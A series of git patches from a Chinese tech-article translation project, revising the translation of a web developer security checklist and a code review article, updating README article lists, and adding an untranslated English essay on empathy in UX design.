--  使用 HSTS(HTTP Strict Transport Security) 响应强迫客户端仅使用 TLS 访问服务器。将所有 HTTP 请求重定向到服务器上的 HTTPS 作为后备。？？？
+-  使用 HSTS(HTTP Strict Transport Security) 响应强迫客户端仅使用 TLS 访问服务器，同时服务端需要将所有 HTTP 请求重定向为 HTTPS。
 -  在所有表单中使用 CSRF 令牌，使用新响应头 [SameSite Cookie](https://scotthelme.co.uk/csrf-is-dead/) 一次性解决 CSRF 问题， SameSite Cookie 适用于所有新版本的浏览器。
 
 ### **APIs** ###
@@ -58,33 +59,33 @@
 
 ### **校验** ###
 
--  执行客户端输入校验以快速获取用户的反馈，但是不能完全依赖校验。
--  使用服务器的白名单校验用户输入。不要向响应直接注入用户信息，不要在 SQL 语句使用用户输入。
+-  使用客户端输入校验以及时给予用户反馈，但是不能完全信任客户端校验结果。
+-  使用服务器的白名单校验用户输入。不要直接向响应注入用户信息，切勿在 SQL 语句里使用用户输入。
 
 ### **云端配置** ###
 
--  确保所有服务开放最少的端口。尽管是通过模糊的安全性不受保护的，使用非标准端口将使得黑客的攻击更加困难。
--  在对任何公有网络都不可见的私有 VPC 上部署后台数据库和服务。配置 AWS 安全组和对等 VPC 务必谨慎（可能无意间使服务对外部可见）。
--  在独立的 VPC 和对等的 VPC 隔离逻辑服务，以提供内部服务交流。？？？
--  确保所有服务仅接收来自最小的IP地址集合的数据。
--  限制对外输出的 IP 和端口流量，以最小化 APT（高级持续性威胁） 和 “警告”。
--  始终使用 AWS 的 IAM （身份与访问管理）角色，而不是使用 root 的认证信息。
+-  确保所有服务开放最少的端口。尽管通过隐藏信息来保障安全是不可靠的，使用非标准端口将使黑客的攻击操作更加困难。
+-  在对任何公有网络都不可见的私有 VPC 上部署后台数据库和服务。在配置 AWS 安全组和对等互联多个 VPC 时务必谨慎（可能无意间使服务对外部可见）。
+-  不同逻辑的服务部署在不同的 VPC 上，VPC 之间通过对等连接进行内部服务的访问。
+-  让连接服务的 IP 地址个数尽可能少。
+-  限制对外输出的 IP 和端口流量，以最小化 APT（高级持续性威胁）和“警告”。
+-  始终使用 AWS 的 IAM（身份与访问管理）角色，而不是使用 root 的认证信息。
 -  对所有操作和开发人员使用最小访问权限原则。
 -  按照预定计划定期轮换密码和访问密钥。
 
 ### **基础架构** ###
 
 -  确保在不停机的情况下对基础架构进行升级，确保以全自动的方式快速更新软件。
--  利用 Terraform 等工具创建所有的基础架构，而不是通过云端命令行窗口。基础架构应该定义为“代码”，仅需一个按钮的功夫即可重建。对云端任何亲手创建的资源零容忍 —— Terraform 能审查你的所有配置。？？？
+-  利用 Terraform 等工具创建所有的基础架构，而不是通过云端命令行窗口。基础架构应该代码化，仅需一个按钮的功夫即可重建。请不要手动在云端创建资源，因为使用 Terraform 就可以通过配置自动创建它们。
 -  为所有服务使用集中化的日志记录，不该再利用 SSH 访问或检索日志。
--  除了一次性诊断以外，不要使用 SSH 登录进服务。 经常使用 SSH ，意味着你还没有将执行重要任务的操作自动化。？？？
--  不要长期开放任何AWS服务组的22号端口。
--  创建 [immutable hosts（不可变主机）](http://chadfowler.com/2013/06/23/immutable-deployments.html) 而不是创建需要提交补丁和更新的服务器。（详情请看博客 [Immutable Infrastructure Can Be More Secure](https://simplesecurity.sensedeep.com/immutable-infrastructure-can-be-dramatically-more-secure-238f297eca49)）。
+-  除了一次性诊断服务故障以外，不要使用 SSH 登录进服务。频繁使用 SSH ，意味着你还没将执行重要任务的操作自动化。
+-  不要长期开放任何 AWS 服务组的22号端口。
+-  创建 [immutable hosts（不可变主机）](http://chadfowler.com/2013/06/23/immutable-deployments.html) 而不是使用一个经过你长期提交补丁和更新的服务器。。（详情请看博客 [Immutable Infrastructure Can Be More Secure](https://simplesecurity.sensedeep.com/immutable-infrastructure-can-be-dramatically-more-secure-238f297eca49)）。
 -  使用如 [SenseDeep](https://www.sensedeep.com/) 的 [Intrusion Detection System（入侵检测系统）](https://en.wikipedia.org/wiki/Intrusion_detection_system) 或服务，以最小化 [APTs（高级持续性威胁）](https://en.wikipedia.org/wiki/Advanced_persistent_threat) 。
 
 ### **操作** ###
 
--  关闭未使用的服务和服务器，最安全的服务器是关机的。
+-  关闭未使用的服务和服务器，关闭的服务器是最安全的。
 
 ### **测试** ###
 
@@ -93,7 +94,7 @@
 
 ### **最后，制定计划** ###
 
--  准备用于描述网络攻击防御的威胁模型，它应该列出并优先考虑可能的威胁和网络攻击参与者。
+-  准备用于描述网络攻击防御的威胁模型，列出可能的威胁和网络攻击参与者，并按优先级对其排序。
 -  制定经得起实践考验的安全事故计划，总有一天你会用到它。
 
 ---

From 88cdc51440cb799f7c4da4c68d4b298a5bada09e Mon Sep 17 00:00:00 2001
From: GangsterHyj <919685260@qq.com>
Date: Thu, 25 May 2017 10:56:41 +0800
Subject: [PATCH 522/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E8=AF=91=E8=80=85?=
 =?UTF-8?q?=E5=92=8C=E6=A0=A1=E5=AF=B9=E4=BA=BA=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/web-developer-security-checklist.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/web-developer-security-checklist.md b/TODO/web-developer-security-checklist.md
index 8bf23c9f2eb..5e0b962ea00 100644
--- a/TODO/web-developer-security-checklist.md
+++ b/TODO/web-developer-security-checklist.md
@@ -1,8 +1,8 @@
 > * 原文地址：[Web Developer Security Checklist](https://simplesecurity.sensedeep.com/web-developer-security-checklist-f2e4f43c9c56)
 > * 原文作者：[Michael O'Brien](https://simplesecurity.sensedeep.com/@sensedeep)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者： [GangsterHyj](https://github.com/gangsterhyj)
+> * 校对者： [zaraguo](https://github.com/zaraguo), [yzgyyang](https://github.com/yzgyyang)
 
 
 # Web 开发者安全清单

From ec3fb340160bf21b25910468d2ede9ea6028ff61 Mon Sep 17 00:00:00 2001
From: "Yuze.Ma" <584653629@qq.com>
Date: Thu, 25 May 2017 21:56:20 +0800
Subject: [PATCH 523/638] Fix more inappropriate syntax

---
 TODO/crafting-better-code-reviews.md | 18 ++++++++----------
 1 file changed, 8 insertions(+), 10 deletions(-)

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
index 4d16eb7d1dc..2244f950290 100644
--- a/TODO/crafting-better-code-reviews.md
+++ b/TODO/crafting-better-code-reviews.md
@@ -1,14 +1,14 @@
 > * 原文地址：[Crafting Better Code Reviews](https://medium.com/@vaidehijoshi/crafting-better-code-reviews-1a5fc00a9312)
 > * 原文作者：[Vaidehi Joshi](https://medium.com/@vaidehijoshi)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：bobmayuze
+> * 译者：[bobmayuze](https://github.com/bobmayuze)
 > * 校对者：
 
 # 建立更好的代码审查制度 #
 
-### 来自Rails 2017开发者大会中的一段演讲 ###
+### 来自 Rails 2017 开发者大会中的一段演讲 ###
 
-人与科技之间的交互部分总是那么忽明忽暗，难以捉摸。对于*开发科技产品*的人来说，更是如此。作为一个资深码农，我在代码审查的时候对于这一点的感触特别明显。
+人与科技之间的交互部分总是那么忽明忽暗，难以捉摸。对于**开发科技产品**的人来说，更是如此。作为一个资深码农，我在代码审查的时候对于这一点的感触特别明显。
 
 大多数开发者们习惯于把他们的代码看成一种艺术品，就好比画家看待自己的画一样，我们的代码总是和我们密切相关。一直以来，我们都被教导说要做一个[利他](https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/)的码农，在代码合并到主分支之前，我们不仅要审查自己的代码，也要审查同事的代码。其实我们都知道这样的审查是对大家都有利的,是一件[我们都应该做的事情](https://blog.codinghorror.com/code-reviews-just-do-it/)，而且很多人恰好已经在做这些强烈推荐的事了。
 
@@ -25,7 +25,6 @@
 
 在我们能真正完全理解代码审查的实际意义和好处之后，我们就能知道为什么会有代码审查这个传统了。网上有大量的有关代码审查最佳实践的[研究](https://en.wikipedia.org/wiki/Code_review#References),不过我建议可以从 Steve McConnell 在[**代码大全**](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 中的相关研究入手（该书于 1993年出版）。
 
-In his book, he describes code reviews, and what function they *ought* to serve. He writes:
 在他的书中，对于代码审查制度**应该**起到的作用，他写下了下面这些话：
 
 > 管理软件工程过程中的一部分就是抓住问题“最低价值”的阶段，即在已投入投资最少且花费最少去解决问题的时机。为了达到这样的一个预期，我们可以使用“质量门”这样一个理念，也就是周期性地测试或者审查来决定是否应该进行到开发的下一阶段。
@@ -34,7 +33,7 @@ McConnell 的代码审查研究中最重要的理念就是"代码构建中的集
 
 > 代码审查制度的初衷是帮助我们在软件开发中采用集体所有权的思想。换句话说，通过参与控制产品质量的方式，我们每个人都会成为开发过程中的股东。
 
-McConnell 在他的书中提出了一些不同类型的代码审查流程，这些流程可以被任何一个团队采用在日常的工作流当中。强烈推荐McConnell的 **代码大全**，真的非常赞。但是这边的话我们就简短的说3种来帮助理解。
+McConnell 在他的书中提出了一些不同类型的代码审查流程，这些流程可以被任何一个团队采用在日常的工作流当中。强烈推荐 McConnell 的**代码大全**，真的非常赞。但是这边的话我们就简短的说3种来帮助理解。
 
 #### **1. 详查（正式检查）** ####
 
@@ -70,7 +69,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 ### 程序猿们如何看待代码审查 ###
 
 
-在我对这个调查进一步阐述之前，我想先说点什么：**我不是一个数据科学家** （我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我用 R 语言画图还过得去）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，另外数据是来自一个基于 branch/pull request 的团队的。
+在我对这个调查进一步阐述之前，我想先说点什么：**我不是一个数据科学家**（我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我用 R 语言画图还过得去）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，另外数据是来自一个基于 branch/pull request 的团队的。
 
 好，那么重点来了：**程序猿们是到底如何看待代码审查的？**
 
@@ -92,7 +91,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 ![](https://cdn-images-1.medium.com/max/800/1*1zSl-fd9hygIBzxp52yHOQ.jpeg)
 
-当70%的受调查者告诉我他们的pull request在被merge之前会由团队里的其他人来检查时，有10%的受访者（大概50个）告诉我的说他们的pull request只有在自己要求进行代码审查的时候才会进行代码审查。
+当70%的受调查者告诉我他们的 pull request 在被 merge 之前会由团队里的其他人来检查时，有10%的受访者（大概50个）告诉我的说他们的 pull request 只有在自己要求进行代码审查的时候才会进行代码审查。
 
 ![](https://cdn-images-1.medium.com/max/800/1*fVl3H0KGsauN1Bxs_jsN7A.jpeg)
 
@@ -126,7 +125,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 下面是一些匿名的反馈：
 
-> 我们有一个开发人员只是盲目的给每个PR一个赞然后都不怎么留评论。我可以告诉你这是真的因为他们 1 分钟能看 5 到 6 个PR。
+> 我们有一个开发人员只是盲目的给每个PR一个赞然后都不怎么留评论。我可以告诉你这是真的因为他们 1 分钟能看 5 到 6 个 PR。
 
 > 我发现第二个或者第三个的审查者大多数都是在打酱油。
 
@@ -134,7 +133,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 > 团队里的每个人应该受到相同的对待。高级工程师也会犯错，而且他们也希望有人能提出来。初级工程师也不能被各种黑。人呐，总是会被事物有偏见。
 
-> Commits 太长了，导致PR需要很久去审查。人们不会先在本地去测试一下代码。
+> Commits 太长了，导致 PR 需要很久去审查。人们不会先在本地去测试一下代码。
 
 > 长长的PR总是花费大量的时间，然后这个PR还对将来的特性有重要的影响。
 
@@ -225,7 +224,6 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 首先感谢一路上一直支持我的工程师朋友们，感谢你们投入时间和精力参与我的调查。
 
-A huge thank you to [Kasra Rahjerdi](https://medium.com/@jc4p), who helped me analyze the responses to my survey and created many of the graphs in this project.
 非常感谢 [Kasra Rahjerdi](https://medium.com/@jc4p) 帮我整理反馈并且生成那么多的图像。
 
 感谢 [Jeff Atwood](https://blog.codinghorror.com/code-reviews-just-do-it/)的有关于互相检查的文章, Karl Wiegers 的 [*人类化互相审查流程*](http://www.processimpact.com/articles/humanizing_reviews.html), 以及 Steve McConnell 对于 [*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 的研究。 我希望你能购买他们的书来支持他们。

From c5b12e42934d7c4c8a56cfeab3bf549fdda0932f Mon Sep 17 00:00:00 2001
From: "Yuze.Ma" <584653629@qq.com>
Date: Thu, 25 May 2017 22:03:58 +0800
Subject: [PATCH 524/638] Fix more inappropriate syntax

---
 TODO/crafting-better-code-reviews.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
index 2244f950290..6ed2892e4e1 100644
--- a/TODO/crafting-better-code-reviews.md
+++ b/TODO/crafting-better-code-reviews.md
@@ -39,7 +39,7 @@ McConnell 在他的书中提出了一些不同类型的代码审查流程，这
 
 详查是一个比较长的审查流程，耗时基本都在1小时左右。整个流程会包括一个公司的把关人（扛把子），代码作者（程序猿），和一个审查员（产品狗）。
 
-当这个审查制度被有效使用时，它通常能发现这个程序 **60%** 的问题（不管是程序缺陷还是错误）。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每1000行代码能减少20%到30%的错误。
+当这个审查制度被有效使用时，它通常能发现这个程序 **60%** 的问题（不管是程序缺陷还是错误）。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每 1000 行代码能减少 20% 到 30% 的错误。
 
 #### **2. 走查** ####
 
@@ -79,7 +79,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 首先，这个问题的答案很大程度上取决于你问了**哪些**程序猿。在我写这个报告的时候，我已经收到超过 500 条回复了。
 
-下面是一些根据工作时用的语言分类的结果，包括了 JS，JAVA，还有 Ruby。
+下面是一些根据工作时用的语言分类的结果，包括了 JS、JAVA 还有 Ruby。
 
 
 ![](https://cdn-images-1.medium.com/max/600/1*hiGuGx5OvayL4dPu1tSC4w.png)
@@ -151,7 +151,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 让我们来看看大家的吐槽吧：
 
-> 面对 PR 的时候，我觉得你要是不喜欢变量名就直接改，我觉得这个不是最重要的，这完全是个人喜好嘛！就像在 IDE 里一样，我很容易就被搞蒙了。我不关心为什么不开心，让这个东西停止报错就好，不停叫真的不能忍。
+> 面对 PR 的时候，我觉得你要是不喜欢变量名就直接改，我觉得这个不是最重要的，这完全是个人喜好嘛！就像在 IDE 里一样，我很容易就被搞蒙了。我不关心为什么不开心，让这个东西停止报错就好，不停地报错真的不能忍。
 
 > 不要在公开场合说思想上的大错误。在线下有个友善的对话会非常有帮助。直接 PR 上说会让人很不爽，最后弄得大家都不愉快。
 

From 9fe58d906fd701b77d1274441485fa251182ebd8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 25 May 2017 23:30:23 +0800
Subject: [PATCH 525/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index c0b460655f7..cc6e948d4e9 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [504](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [505](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -24,10 +24,10 @@
 
 ## Android
 
+* [使用 Espresso 和 Mockito 测试 MVP](https://juejin.im/post/5924e5740ce4630069757f75?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [用 Dagger 2 实现依赖注入](https://github.com/xitu/gold-miner/blob/master/TODO/Dependency-Injection-with-Dagger-2.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)
 * [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
-* [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 

From 1b2cb168b258252b838f0cccb3aeb6785f6bfc99 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 25 May 2017 23:31:13 +0800
Subject: [PATCH 526/638] Update android.md

---
 android.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/android.md b/android.md
index d6f011ae603..566329d1c5c 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [使用 Espresso 和 Mockito 测试 MVP](https://juejin.im/post/5924e5740ce4630069757f75?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [用 Dagger 2 实现依赖注入](https://github.com/xitu/gold-miner/blob/master/TODO/Dependency-Injection-with-Dagger-2.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)
 * [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)

From b2e2e7f27fddd7d8aca16a56b45a283352e6da89 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 25 May 2017 23:36:30 +0800
Subject: [PATCH 527/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index cc6e948d4e9..b8de50d7d53 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [505](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [506](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -41,10 +41,10 @@
 
 ## 前端
 
+* [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)
 * [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
 * [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
-* [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 2e1a7f35fd3cb12a71a34d1165c9965d44e7ca45 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 25 May 2017 23:37:40 +0800
Subject: [PATCH 528/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index aef69aab824..8adabf1bf12 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)
 * [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
 * [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)

From 37953ad68b786f79f705412c2ad8da4f63bab14e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 25 May 2017 23:54:19 +0800
Subject: [PATCH 529/638] Create empathy-and-ux-design.md

---
 TODO/empathy-and-ux-design.md | 107 ++++++++++++++++++++++++++++++++++
 1 file changed, 107 insertions(+)
 create mode 100644 TODO/empathy-and-ux-design.md

diff --git a/TODO/empathy-and-ux-design.md b/TODO/empathy-and-ux-design.md
new file mode 100644
index 00000000000..b8a8001beee
--- /dev/null
+++ b/TODO/empathy-and-ux-design.md
@@ -0,0 +1,107 @@
+> * 原文地址：[Why Empathy Matters as a UX Designer](https://careerfoundry.com/en/blog/ux-design/empathy-and-ux-design)
+> * 原文作者：[CLAIRE RACKSTRAW](https://careerfoundry.com/en/blog/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+![](https://careerfoundry.com/en/blog/ux-skills-1-copy-04ce154a70fbb2a38b6931bfb17913551e6f6379d78a3cb88ab8156782934cd6.jpg)
+
+# Why Empathy Matters as a UX Designer #
+
+If you’d have seen me being guided around my university campus blindfolded, you might have thought we were playing a game. In actual fact,it was part of my training to become a nurse.
+
+In order to empathize with patients and their families, a nurse should understand how their patient feels. For example,  someone may have a visual impairment or difficulty hearing, they might be worried, they might be in pain or feeling nauseous. To be in a good position to address their needs and help to solve their problems, empathy is important.
+
+Fast forward 10 years, and I’ve changed careers - from nursing to [UX design](https://careerfoundry.com/en/courses/become-a-ux-designer), and I have found that **a lot of what I learnt during my nursing career is still valuable.** Regardless of your product, digital or otherwise, you should be aware that those using your services are not operating in a **perfect testing environment.** You need to find ways to familiarize yourself with and empathize with situations different to your own, and design with these situations in mind.
+
+Read on to learn:
+
+- How my nursing career has informed my role as a UX designer
+- The difference between sympathy and empathy (and why you shouldn’t confuse the two!)
+- How to use empathy to be a better UX designer
+- A successful example of empathy in design: Danone
+- Tips for introducing an empathic mindset in your company
+
+So, let’s begin by looking at **what nursing taught me about empathy…**
+
+![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_4---x----1260-650x---.jpg)
+
+## How my nursing career has informed my role as a UX designer ##
+
+When I started training as a student nurse, I realized that **in order to successfully build a rapport with patients and their families I needed to be able to empathize with them**, to understand what this experience might be like for them and all of the factors that were influencing their experience of accessing healthcare.
+
+I also came to realize that when a person accesses healthcare services, or any other service, their experience does not exist in isolation from the rest of their life. When someone is admitted to hospital for example, what factors are shaping their experience? Is this the person’s first admission to hospital? Is there someone available to offer them support? Have they previously had good or bad experiences of accessing healthcare services? Thinking empathically allows you to see the bigger picture and consider the person and their circumstances as a whole.
+
+By practising empathy as a UX professional you can apply this holistic approach to assessing user needs by thinking about the user’s experience in it’s entirety, and not just when they are interacting with a particular feature on a screen.
+
+[Curious about Human Behavior? Take our Free 7-Day UX Design Course > > > Learn More Here...](http://info.careerfoundry.com/ux-design/free-ux-course-think-emails) 
+
+In the field of UX you often hear the phrase “you are not the user” which reminds us that as designers we can’t make any assumptions about the people that we’re designing for. To really empathize with users we must be prepared to learn about all of the factors that influence how they interact with and perceive the product or service we are creating for them.
+
+![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_6---x----1260-650x---.jpg)
+
+## The difference between sympathy and empathy (and why you shouldn’t confuse the two!) ##
+
+Before we go any further, let’s take a look at exactly what empathy is, how it differs from sympathy, and why having sympathy for those you are designing for might not be helpful for finding the right solutions.
+
+The word sympathy is most commonly used to mean “feelings of pity and sorrow for someone else’s misfortune.” Sympathy is associated with caring and a desire to see the situation of others improve, but it doesn’t enable us to create meaningful connections with others.
+
+Empathy is defined by Dictionary.com as “…the capacity or ability to imagine oneself in the situation of another, thereby vicariously experiencing the emotions, ideas, or opinions of that person.” Empathy is not just about imagining how someone is feeling, but also having some knowledge of their situation and what they are trying to achieve. Unlike sympathy, empathy allows us to make meaningful connections with others.
+
+Without empathy, we cannot fully understand the problems users might be facing in relation to our product. Sympathy alone will likely result in a solution we think is a great idea but which actually doesn’t provide any benefit to the user. Empathy enables us to understand the user and their experience as a whole, facilitating solutions that fix the right problems.
+
+![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_3---x----1260-650x---.jpg)
+
+## How to use empathy to be a better UX designer ##
+
+In my experience, the most effective way to practice empathy as a designer is to observe users interacting with your product or service in their own environment, be that home, work, or out and about. Observing users in the field allows us to glean insights that cannot be captured through other research methods. However, the reality is that observational field work rarely happens because it is time and resource intensive. How else can we build empathy for users?
+
+Firstly, try to utilize a diverse set of research methods to gather insights about your existing or potential customers. This way you can capture a range of insights from participants and gain a well-rounded picture of how they perceive and experience your product. Understanding how your product fits into and impacts the lives of your customers will help you to develop empathy for them, so create a variety of opportunities to learn as much about them as you can.
+
+Next, make use of customer service conversations and feedback. Discussions generated in customer service conversations can reveal a lot about how your product or service impacts customers in their day-to-day lives in ways that surveys or usability testing can’t. Take the time to talk with your customer service team, they are likely to have valuable insights to share.
+
+Finally, experience your product from the perspective of a customer; this can be an incredibly effective way to build empathy. For example, as a student nurse, walking around my university campus blindfolded helped me to think about how I would design healthcare services to better serve blind patients.
+
+![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_5---x----1260-650x---.jpg)
+
+## A successful example of empathy in design: Danone ##
+
+In 1996 food company Danone partnered with a non-profit organisation called the Grameen Foundation with the aim of tackling malnutrition and boosting local employment in a district of Bangladesh.
+
+Danone brought its expert knowledge of food production and combined it with the Grameen Foundation’s extensive experience of distributing products to rural communities in Bangladesh.
+
+They set up a factory producing a special, nutrient-dense yogurt which would provide a child with 30% of their daily vitamin and mineral requirements. The goal of this project was to create positive social impact, and they managed to do this effectively by empathizing with the unique needs of the local population:
+
+- Traditional marketing methods weren’t suitable because many rural, Bangladeshi residents aren’t literate, can’t travel far, and aren’t well educated about nutrition. Therefore, local women were recruited to do door-to-door sales to educate people about the product and encourage details of the product to spread by word of mouth.
+- The factory used local milk supplies and based the price of the yogurt on the cost of the local milk. This kept the price of the yogurt at a level that was affordable for even the poorest families.
+- Constraints in certain aspects of food production led to innovative ideas that could be applied to other markets, such as the use of enzymes to keep unrefrigerated milk fresh for longer.
+
+Although this is ‘design’ on a very large scale and of a non-digital nature, this example is an excellent demonstration of using empathy to understand the needs of your target customers, how best to meet their needs, and create opportunities for innovation in the process.
+
+![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_2---x----1260-650x---.jpg)
